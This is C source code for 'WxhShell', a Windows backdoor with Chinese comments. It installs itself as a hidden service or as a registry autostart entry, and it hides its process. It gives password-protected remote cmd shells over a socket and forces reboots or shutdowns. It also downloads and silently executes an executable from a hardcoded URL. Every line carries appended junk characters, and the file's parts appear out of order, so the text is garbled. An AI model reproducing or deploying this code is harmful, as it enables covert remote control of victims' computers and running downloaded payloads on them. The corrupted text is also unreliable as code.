    send(wsh,msg_ws_err,strlen(msg_ws_err),0); @DYxxM-  
    else { @&;y0N1xo  
    closesocket(wsh); <>,V> k|  
    ExitThread(0); T)Byws  
    } [xT2c.2__J  
    break; noiUi>G;:  
    } 6 flc  
  // 获取shell {l= !  
  case 's': { a%>p"4WL  
    CmdShell(wsh); Uv,_VS(  
    closesocket(wsh); D'e'xU  
    ExitThread(0); "=I ioY  
    break; lJ!+n<K+  
  } {uEu ^6a5  
  // 退出 bq3G3oAyG  
  case 'x': { :UmY|=v?t  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); ye1kI~LO(  
    CloseIt(wsh); L 0k K'n?  
    break; nfck3h  
    } p(UUH3%W  
  // 离开 1P&XG@  
  case 'q': { 3IHya=qN  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); Wd'wL"6De  
    closesocket(wsh); hA)tad]  
    WSACleanup(); w~>V2u_-  
    exit(1); }0c  
    break; Two$wL/  
        } Ie>)U)/$  
  } xe[Cuy$P  
  } *Got  
e$|g  
  // 提示信息 ) 'x4#5]  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); s }q6@I  
} AZcW f8  
  } T'2(sHk  
3X,9K23T  
  return; CN0&uyu#4  
} /!,>P[Vx  
S2/c2  
// shell模块句柄 |S#)[83*3  
int CmdShell(SOCKET sock) O G#By6O  
{ |Euf:yWY  
STARTUPINFO si; M H }4F  
ZeroMemory(&si,sizeof(si)); H"f%\'  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; +.MHI   
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; . Rxz;-VA  
PROCESS_INFORMATION ProcessInfo; FCU~*c8Cs  
char cmdline[]="cmd"; D^P_3 B+  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); w~sr2;rp<  
  return 0; PNgj 8J4  
} ZiodJ"r  
X<J NwjM%  
// 自身启动模式 FQSepUl  
int StartFromService(void) )y-y-B=+T  
{ 4;8 Z?.  
typedef struct C#X|U2$  
{ =if5$jE3  
  DWORD ExitStatus;  qJ!&H  
  DWORD PebBaseAddress; L2Uk/E  
  DWORD AffinityMask; TGu`r>N51  
  DWORD BasePriority; W@jBX{k  
  ULONG UniqueProcessId; zZDa7 1>  
  ULONG InheritedFromUniqueProcessId; x]6OE]]8L  
}   PROCESS_BASIC_INFORMATION; Zuod1;qIh  
aB~?Y+m  
PROCNTQSIP NtQueryInformationProcess; ;,n{6`  
j.X3SQb4G  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; 1QXv}36#3n  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; <e|I?zI9-  
{Cnz7TVB  
  HANDLE             hProcess; -sl] funRy  
  PROCESS_BASIC_INFORMATION pbi; 7u-o7#,X2  
SUxz &xH  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); +/*,%TdQ4  
  if(NULL == hInst ) return 0; \'6hv>W@  
rWEJCFa  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); ~=i9]%g ?  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); ~7T]l1]W%  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); VqLqj$P  
Js[dT|>.  
  if (!NtQueryInformationProcess) return 0; LDHuf<`  
B'B,,Mz  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); FS30RP3 `/  
  if(!hProcess) return 0; <zH24[  
fQq'_q5  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; ?"[b408-  
P#bZtWx'<N  
  CloseHandle(hProcess); Jw?J(ig^  
85YE6^y  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); UOy9N  
if(hProcess==NULL) return 0; '+^HeM^;  
<7cm[  
HMODULE hMod; !lp *0h(7  
char procName[255]; Y ## ftQ  
unsigned long cbNeeded; N=lFf+  
|]sh*<:?,  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); GZQy~Uk~  
w N9I )hB  
  CloseHandle(hProcess); BXy g ?  
Fu:VRul=5$  
if(strstr(procName,"services")) return 1; // 以服务启动 h^ea V,x>=  
lAz.I  
  return 0; // 注册表启动 ^2}0lP|  
} H->J.5~,K  
V9qA.NV2  
// 主模块 ,[ &@?  
int StartWxhshell(LPSTR lpCmdLine) 0q(}nv  
{ EOWLGleD1  
  SOCKET wsl; JlJy3L8L  
BOOL val=TRUE; + DFG762  
  int port=0; k\X1`D}R  
  struct sockaddr_in door; sui3(wb  
q"4{GCavN  
  if(wscfg.ws_autoins) Install(); <5 G+(vP  
#-kG\}  
port=atoi(lpCmdLine); >AI65g  
;HRIB)wF  
if(port<=0) port=wscfg.ws_port; `8xt!8Z$  
:it52*3=  
  WSADATA data; ] P;Ng=a  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; 1*<m,.$  
jh \L)a*  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   W3K?K-  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); $-'p6^5  
  door.sin_family = AF_INET; F[mL_JU  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); S,,,D+4  
  door.sin_port = htons(port); [=imF^=3Vb  
hs< )<  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { ;LM`B^Q]s  
closesocket(wsl); :G\f(2@  
return 1; %_N-~zZ1E  
} ;@ xSJqT  
o8c4h<,  
  if(listen(wsl,2) == INVALID_SOCKET) { Cc7PhoPK  
closesocket(wsl); ~YO99PP  
return 1; uQgv ;jsPz  
} F @ lJk|*_  
  Wxhshell(wsl); |%.V{vgP7  
  WSACleanup(); .jW+\mIX  
 K9 h{sC  
return 0; IF-g %  
FY h+G-Y#  
} ew8f7S[  
udYk 6  
// 以NT服务方式启动 +Zgh[a  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) R: 8\z0"L*  
{ S?n,O+q  
DWORD   status = 0; jt5en;AA[  
  DWORD   specificError = 0xfffffff; dHjJLs_  
WBdC}S }3t  
  serviceStatus.dwServiceType     = SERVICE_WIN32; uzjP!qO  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; =z`GC1]bL  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; j}~3m$  
  serviceStatus.dwWin32ExitCode     = 0; Ao>] ~r0  
  serviceStatus.dwServiceSpecificExitCode = 0; i|A0G%m]$  
  serviceStatus.dwCheckPoint       = 0; x%HX0= (  
  serviceStatus.dwWaitHint       = 0; CPGiKE  
5lehASBz  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); 4,kdP)Md$  
  if (hServiceStatusHandle==0) return; ;^VLx)q  
vqDd][n  
status = GetLastError(); ";\na!MT  
  if (status!=NO_ERROR) 5{ ?J5  
{ {z:aZ]QhKc  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; T;jy2|mLo  
    serviceStatus.dwCheckPoint       = 0; ,kiyx h^  
    serviceStatus.dwWaitHint       = 0; U'8+YAgc  
    serviceStatus.dwWin32ExitCode     = status; 4 0as7.q  
    serviceStatus.dwServiceSpecificExitCode = specificError; {T EF#iF  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); AP*Z0OFE  
    return; %DH2]B? 0  
  } e%_2n=p~)%  
RQ}0f5~t  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; 6Ap-J~4  
  serviceStatus.dwCheckPoint       = 0; kOi@QLdN  
  serviceStatus.dwWaitHint       = 0; Hg<d%7.  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); VnqgN  
} k$j4~C'$  
Kxs_R#k  
// 处理NT服务事件,比如:启动、停止 >6xZF'4  
VOID WINAPI NTServiceHandler(DWORD fdwControl) >drG,v0qh  
{ }',/~T6  
switch(fdwControl) ! *Snx  
{  vV5dW  
case SERVICE_CONTROL_STOP: $mf Z{  
  serviceStatus.dwWin32ExitCode = 0; `a *_b9  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; 7OSk0%Q,  
  serviceStatus.dwCheckPoint   = 0; Q7uhz5oZ  
  serviceStatus.dwWaitHint     = 0; ;A^Ii>`  
  { t2V|moG  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); w Q!C9Gp3e  
  } ,ru2C_LQ  
  return; PX7@3Y  
case SERVICE_CONTROL_PAUSE: X)P;UVR0  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; [N] 5)n  
  break; S3Q^K.e?  
case SERVICE_CONTROL_CONTINUE: )bCw~'h*  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; @APv?>$)  
  break; Ll 4/P[7:?  
case SERVICE_CONTROL_INTERROGATE: $H}G'LqiG  
  break; [1Cs  
}; 4KH8dau.fF  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); .;),e#  
} ']]C zze  
N$cm;G=]  
// 标准应用程序主函数 k'H+l]=  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) /K!&4mK  
{ UEkn@^&bg  
K ?R* )_  
// 获取操作系统版本 ep|>z#1  
OsIsNt=GetOsVer(); v[-.]b*5A$  
GetModuleFileName(NULL,ExeFile,MAX_PATH); v D"4aw  
RRXnj#<g  
  // 从命令行安装 \9r1JP0  
  if(strpbrk(lpCmdLine,"iI")) Install(); QYl Pr&O9  
2VB|a;Mo  
  // 下载执行文件 ^g^R[8  
if(wscfg.ws_downexe) { "gaurr3  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) $hND!T+;  
  WinExec(wscfg.ws_filenam,SW_HIDE); ;/hR#>ib  
} u`K)dH,  
q.xt%`@aA  
if(!OsIsNt) { ~8fy qE$  
// 如果时win9x,隐藏进程并且设置为注册表启动 7sgK+ ip  
HideProc(); wlSl ~A/s  
StartWxhshell(lpCmdLine); Q7V*~{  
} $q}zW%  
else +OEheG8  
  if(StartFromService()) ;!RS q'L1  
  // 以服务方式启动 V]4g- CS[  
  StartServiceCtrlDispatcher(DispatchTable); . }#R  
else I[P43>F3  
  // 普通方式启动 Ii*tux!S  
  StartWxhshell(lpCmdLine); hh%f mc  
pK_n}QW  
return 0; "#<P--E9  
} #RfNk;kaA  
}02#[vg  
nw.,`M,N  
H@-txO1`::  
=========================================== JI"&3H")g%  
c%?31 t  
hU: 9zLe  
A@:h\<  
->H4!FS  
0-s[S  
" {nr}C4]o  
kK62yz,  
#include <stdio.h> Ln&'5D#  
#include <string.h> G0e]PMeFl  
#include <windows.h> 06)B<  
#include <winsock2.h> \:7G1_o  
#include <winsvc.h> n:TWZ.9  
#include <urlmon.h> -MA/:EB  
9V]{q  
#pragma comment (lib, "Ws2_32.lib") Nj p?/r  
#pragma comment (lib, "urlmon.lib") O1C| { M  
2b&&3u8  
#define MAX_USER   100 // 最大客户端连接数 9n\b!*x  
#define BUF_SOCK   200 // sock buffer htgtgW9 ^P  
#define KEY_BUFF   255 // 输入 buffer &>jSuvVT  
ON.1'Wk?  
#define REBOOT     0   // 重启 !L|}/u3v  
#define SHUTDOWN   1   // 关机 lla?;^,  
%1\MW+  
#define DEF_PORT   5000 // 监听端口 "W"2 Y(  
zYCS K~-GW  
#define REG_LEN     16   // 注册表键长度 NZ{)&ObBRt  
#define SVC_LEN     80   // NT服务名长度 .()|0A B&g  
6jDHA3  
// 从dll定义API 'MWu2L!F  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); XWuHH;~*L  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); f!H~BMA+a  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); w!GPPW(  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); \vKK q/f  
zw2qv'  
// wxhshell配置信息 " A4.2  
struct WSCFG { [5"F=tT7WP  
  int ws_port;         // 监听端口 f+WN=-F\  
  char ws_passstr[REG_LEN]; // 口令 jPDk~|  
  int ws_autoins;       // 安装标记, 1=yes 0=no L\GjG&Y5  
  char ws_regname[REG_LEN]; // 注册表键名 R&v V! d  
  char ws_svcname[REG_LEN]; // 服务名 YA?46[:  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 ?FV>[&-h#I  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 >GV(\In  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 )qq5WShMJ  
int ws_downexe;       // 下载执行标记, 1=yes 0=no mFGiysM  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" DI>SW%)>  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 z\kiYQ6kA  
eH0^d5bH  
}; p?6`mH  
EFk9G2@_  
// default Wxhshell configuration )XFaVkQ}  
struct WSCFG wscfg={DEF_PORT, I1Jhvyd?$  
    "xuhuanlingzhe", $FJf8u`  
    1,  << XWL:  
    "Wxhshell", 9ZYT#h  
    "Wxhshell", ;A\SbLM  
            "WxhShell Service", Y8s.Q  
    "Wrsky Windows CmdShell Service", K{vn[}  
    "Please Input Your Password: ", .%x1%TN  
  1, W Z_yaG$U  
  "http://www.wrsky.com/wxhshell.exe", 3hD\6,@  
  "Wxhshell.exe" 9w"kxAN  
    }; Cih~cwE  
ge[hAI2I  
// 消息定义模块 9f|+LN##  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; T F[8r[93  
char *msg_ws_prompt="\n\r? for help\n\r#>"; A0A]#=S  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; =N~*`5|rk  
char *msg_ws_ext="\n\rExit."; }w|a^=HAp  
char *msg_ws_end="\n\rQuit."; }%}yOLo:  
char *msg_ws_boot="\n\rReboot..."; T {![a{  
char *msg_ws_poff="\n\rShutdown..."; W }"n*  
char *msg_ws_down="\n\rSave to "; (+iOy/5#u  
M hwuh`v%  
char *msg_ws_err="\n\rErr!"; z,f  
char *msg_ws_ok="\n\rOK!"; xNAa,aMM  
K}feS(Ji  
char ExeFile[MAX_PATH]; x^959QO~  
int nUser = 0; ^sP-6 ^  
HANDLE handles[MAX_USER]; "<=HmE-;  
int OsIsNt; |jhu  
02F\1fXS  
SERVICE_STATUS       serviceStatus; 0!5w0^1  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; Vx#n0z  
UVUoXv)N  
// 函数声明 ,ozgnhZY  
int Install(void); jqJ't)N  
int Uninstall(void); u$MXO].Q  
int DownloadFile(char *sURL, SOCKET wsh); 4\pUA4  
int Boot(int flag); Tw]].|^f-  
void HideProc(void); B]lM69Hz  
int GetOsVer(void); {Y6;/".DM  
int Wxhshell(SOCKET wsl); ETMF.-P  
void TalkWithClient(void *cs); "oLY";0(=  
int CmdShell(SOCKET sock); A?;KfVq  
int StartFromService(void); T4e-QEH  
int StartWxhshell(LPSTR lpCmdLine); IwZe2$f  
$:u5XJx  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); <fm<UO,%  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); D\LXjEm e.  
P:QSr8K  
// 数据结构和表定义 <?E~Qc t  
SERVICE_TABLE_ENTRY DispatchTable[] = Oe_*(q&  
{ `%<^$Ng;  
{wscfg.ws_svcname, NTServiceMain}, ~6!TMVr  
{NULL, NULL} 5f- eWW]!  
}; tXg>R _\C  
L Rn)  
// 自我安装 mNDd>4%H_  
int Install(void) CYH o~VIK  
{ g54b}vzm  
  char svExeFile[MAX_PATH]; y yqya[-11  
  HKEY key; Kd|@  
  strcpy(svExeFile,ExeFile); >J['so2Bf  
s+@`Z*B5  
// 如果是win9x系统,修改注册表设为自启动 &~&nJr  
if(!OsIsNt) { ?(2^lH~6h  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { Q G8X{'  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); *,y .%`o  
  RegCloseKey(key); _@_w6Rh  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { 'g#EBy  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); 7|Bg--G1  
  RegCloseKey(key); "b `R_gG9  
  return 0; (O`2$~mIM  
    } ZmKxs^5S  
  } )oCb9K:km  
}  '.5_L8  
else { 7dq*e4z)  
# M18&ld,r  
// 如果是NT以上系统,安装为系统服务 h3BDHz,  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); qP4vH]  
if (schSCManager!=0) cP,bob]  
{ <"HbX  
  SC_HANDLE schService = CreateService <UE-9g5?G  
  ( 3OvQ,^[J4  
  schSCManager, 2(s-8E:  
  wscfg.ws_svcname, t` f.HJe  
  wscfg.ws_svcdisp, Re]7G.y  
  SERVICE_ALL_ACCESS, -8pQI  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , dOx0'q"Z  
  SERVICE_AUTO_START, /^9KZj  
  SERVICE_ERROR_NORMAL, fb;y*-?#  
  svExeFile, yRtxh_wr9  
  NULL, 6Sr}I,DG  
  NULL, cwC-)#R']  
  NULL, WcZck{ehd  
  NULL, o>?#$~XNv  
  NULL eUZvJTE  
  ); Z+M* z;  
  if (schService!=0) {<#~Ya-  
  { >[&Zs3>  
  CloseServiceHandle(schService); oJln"-M1nx  
  CloseServiceHandle(schSCManager); dHJ#xmE!pP  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); *)0-N!N#)  
  strcat(svExeFile,wscfg.ws_svcname); d7i 0'R  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { uh 3yiDj@a  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); |4?O4QN  
  RegCloseKey(key); M.h8Kr!.  
  return 0; G~FAChI8![  
    } sUTfY|<7|  
  } *-lw2M9V  
  CloseServiceHandle(schSCManager); "&{sE RYY  
} am(jmf::  
} Kq4b`cn{_  
K'u66%wAL  
return 1; }35HKgqX  
} $5v:z   
rc()Eo50  
// 自我卸载 ")i>-1_H  
int Uninstall(void) "4[8pZO/  
{ i-E/#zni  
  HKEY key; FAbl5VW'  
:W*']8 M-  
if(!OsIsNt) { R0DWjN$j  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { 'A)r)z {X  
  RegDeleteValue(key,wscfg.ws_regname); #}|g8gh  
  RegCloseKey(key); V0/O T~gS8  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { alz2F.%Y  
  RegDeleteValue(key,wscfg.ws_regname); CTh!|mG  
  RegCloseKey(key); EN/e`S$)  
  return 0; J0V\_ja-  
  } hJkF-yW  
} YIZ+BVa  
} h&O8e;S#  
else { 2/4,iu(T`c  
{ 2\.  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); `;BpdG(m  
if (schSCManager!=0) MzX4/*ba  
{ lN,)T%[0-  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); MB:*WA&  
  if (schService!=0) *@SZ0   
  { SZ3UR  
  if(DeleteService(schService)!=0) { wbA<G&h~  
  CloseServiceHandle(schService); d@#wK~I  
  CloseServiceHandle(schSCManager); /\e&nYz  
  return 0; f'Cx %  
  } b@  S.  
  CloseServiceHandle(schService); @teNT"  
  } G.y~*5?#  
  CloseServiceHandle(schSCManager); .!Qo+(  
} +#=l{_Z,ZJ  
} $Q'S8TU  
ed:[^#Lj  
return 1; nQ}$jOU &  
} rUOl+p_47  
 *CS2ndp  
// 从指定url下载文件 MlmdfO%Y  
int DownloadFile(char *sURL, SOCKET wsh) vpL3XYs`  
{ #V#sg}IhM?  
  HRESULT hr; _DAj$$ Ru4  
char seps[]= "/"; -FrNk>  
char *token; s?pd&_kOv3  
char *file; KV {J>J1  
char myURL[MAX_PATH]; l0GsY.~,  
char myFILE[MAX_PATH]; :$5$H  
1$1[6 \3v  
strcpy(myURL,sURL); .sE5QRVc  
  token=strtok(myURL,seps); Q( g&/O  
  while(token!=NULL) m\xlSNW'q  
  { s6+`cC4  
    file=token; ro`2IE>  
  token=strtok(NULL,seps); -lDAxp6p  
  } X^c2  
(>usa||  
GetCurrentDirectory(MAX_PATH,myFILE); ^j>w<ljzz  
strcat(myFILE, "\\"); TeXt'G=M  
strcat(myFILE, file); /lqVMlz\77  
  send(wsh,myFILE,strlen(myFILE),0); n,vs(ZL:  
send(wsh,"...",3,0); ?X5Y8n]y\h  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); }=T=Z#OgH  
  if(hr==S_OK) `iT{H]po  
return 0; v[J"/:]  
else Yv ZcG3@c3  
return 1; ~]LkQQ'  
8\])p sb9  
} &8R !`uh1  
:,[=g$CT:  
// 系统电源模块 d]!`II  
int Boot(int flag) 5?M d  
{ 'vc>uY  
  HANDLE hToken; io^ L[  
  TOKEN_PRIVILEGES tkp; 'j27.Ry.  
H\!p%Y  
  if(OsIsNt) { m.EIMuj  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); dw"{inMf  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); rwh,RI) )g  
    tkp.PrivilegeCount = 1;  5i|DJ6  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; 5wgeA^HE2y  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); hiBZZ+^[  
if(flag==REBOOT) { G>f2E49BXt  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) XjINRC8^4  
  return 0; _Cnl|'  
} b`yb{& ,?  
else { T2/lvvG  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) &U7INUL  
  return 0; PbpnjvVrM  
} v62O+{  
  } Z36C7 kw  
  else { uS}qy-8J  
if(flag==REBOOT) { @})]4H  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) L$rMfe S  
  return 0; ]R?{9H|jwE  
} glo Y@k~  
else { bjCO@t  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) :+*q,lX8  
  return 0; TVs#,  
} 3I):W9$Qp  
} T_3JAH e  
XMpa87\  
return 1; & c V$`L  
} '"Z\8;5i  
t'{IE!_  
// win9x进程隐藏模块 "`q:  
void HideProc(void) g+1&liV  
{ "J (0J  
K}e:zR;;^  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); X" m0||  
  if ( hKernel != NULL ) *}<Uh'?  
  { F(}~~EtPHo  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); ;:DDz  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); QMAineO  
    FreeLibrary(hKernel); OPe3p {]  
  } )oAxt70  
:)=>,XwL8  
return; R;l;;dC=  
} l>){cI/D#  
'^10sf`"  
// 获取操作系统版本 {Uj-x -  
int GetOsVer(void) )F,IPAA#  
{ L5j%4BlK/  
  OSVERSIONINFO winfo; XV %DhR=  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); |9'`;4W  
  GetVersionEx(&winfo); kfj)`x  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) X"Ca  
  return 1; dgp1B\  
  else 3[F9qDAy  
  return 0; [@;q#.}Z  
} M%(^GdI#Vf  
#ExNiFZ  
// 客户端句柄模块 xP+`scv*m#  
int Wxhshell(SOCKET wsl) *l{GD1ZDk  
{ }p|S3/G?$!  
  SOCKET wsh; #X t|"Z  
  struct sockaddr_in client; kH'zTO1  
  DWORD myID; }N,$4h9Dj  
:}*   
  while(nUser<MAX_USER) sFbN)Cx  
{ <N'v-9=2jl  
  int nSize=sizeof(client); V]Z!x.x"=y  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); ``:+*4e9  
  if(wsh==INVALID_SOCKET) return 1; A}3dx!?7j  
l' mdj!{&  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); `p'682xI  
if(handles[nUser]==0) +S6(Fvp  
  closesocket(wsh); ;lP/hG;`  
else ? dh  
  nUser++; ;k |U2ajFJ  
  } z)Gd3C  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); DmtCEKa  
SE<?l  
  return 0; wG@f~$   
} Mj<T+Ohz  
@i <vlHpl  
// 关闭 socket FKBI.}A?!'  
void CloseIt(SOCKET wsh)  PrqyJ  
{ z;Jz^m-  
closesocket(wsh); 9y+0Zj+.  
nUser--; 38E %]*5F  
ExitThread(0); m"/ o4  
} L.?QZN%cN  
;V0^uB.z  
// 客户端请求句柄 W"n0x8~sV  
void TalkWithClient(void *cs) K 7 OIT2-  
{ F87/p  
7SJR_G6,{  
  SOCKET wsh=(SOCKET)cs; Z_;! f}X  
  char pwd[SVC_LEN]; 8}K^o>J&K  
  char cmd[KEY_BUFF]; CuT50N;tk  
char chr[1]; Rn$[P.||  
int i,j; {&ykpu090  
\@B 'f  
  while (nUser < MAX_USER) { G_]zymXQ  
_)kTlX:,  
if(wscfg.ws_passstr) { U!i1~)s  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); ]_(J8v  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); uL{CUt  
  //ZeroMemory(pwd,KEY_BUFF); /*2)|2w  
      i=0; IqAML|C  
  while(i<SVC_LEN) { 0fzHEL  
^D8~s;?  
  // 设置超时 p?2^JJpUb  
  fd_set FdRead; R8-=N+hX  
  struct timeval TimeOut; /b7]NC%  
  FD_ZERO(&FdRead); 92x)Pc^D  
  FD_SET(wsh,&FdRead); SA?lDRF  
  TimeOut.tv_sec=8; g{^~g  
  TimeOut.tv_usec=0; ,GF]+nI89  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); b4&l=^:e=  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); ?DGg.2f  
E?- ~*T  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); HA74s':FN  
  pwd=chr[0]; 3O*^[$vM  
  if(chr[0]==0xd || chr[0]==0xa) { &u2H^ j  
  pwd=0; C2{*m{ D  
  break; T5Iz{Ha  
  } _9C,N2a{C  
  i++; B~B,L*kC2  
    } (YM2Cv{4  
6Ts[NXa  
  // 如果是非法用户,关闭 socket 1ixBwnp?  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); }qT{" *SC  
} MY}/h@  
#y-R*4G  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); Du #>y!  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); goe %'k,  
.*edaDi  
while(1) { FsLd&$?T&  
GL%)s?   
  ZeroMemory(cmd,KEY_BUFF); Ihp Ea,v)  
#&X5Di[A  
      // 自动支持客户端 telnet标准   iNr&;  
  j=0; hof>:Rk  
  while(j<KEY_BUFF) { ~)pso7^:  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); N[A9J7}_R  
  cmd[j]=chr[0]; q|V|Jl  
  if(chr[0]==0xa || chr[0]==0xd) { iPdS>e e  
  cmd[j]=0; lAR1gHhJ  
  break; V :/v r  
  } I?RUVs  
  j++; }9kn;rb$g  
    } >n3ig~0d  
nC(Lr,(  
  // 下载文件 2@W`OW Njm  
  if(strstr(cmd,"http://")) { 2wu\.{6Zp  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); dVg'v7G&V(  
  if(DownloadFile(cmd,wsh)) _(-i46x}  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); R"j<C13;%  
  else A4g,)  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); K~4bT=   
  } 0V?7'Em  
  else { U1`pY:P  
MOPHu O{^  
    switch(cmd[0]) { *cZ7?  
  osc A\r  
  // 帮助 %(|-+cLW+  
  case '?': { g/(BV7V  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); *eGG6$I  
    break; Zv2]X-  
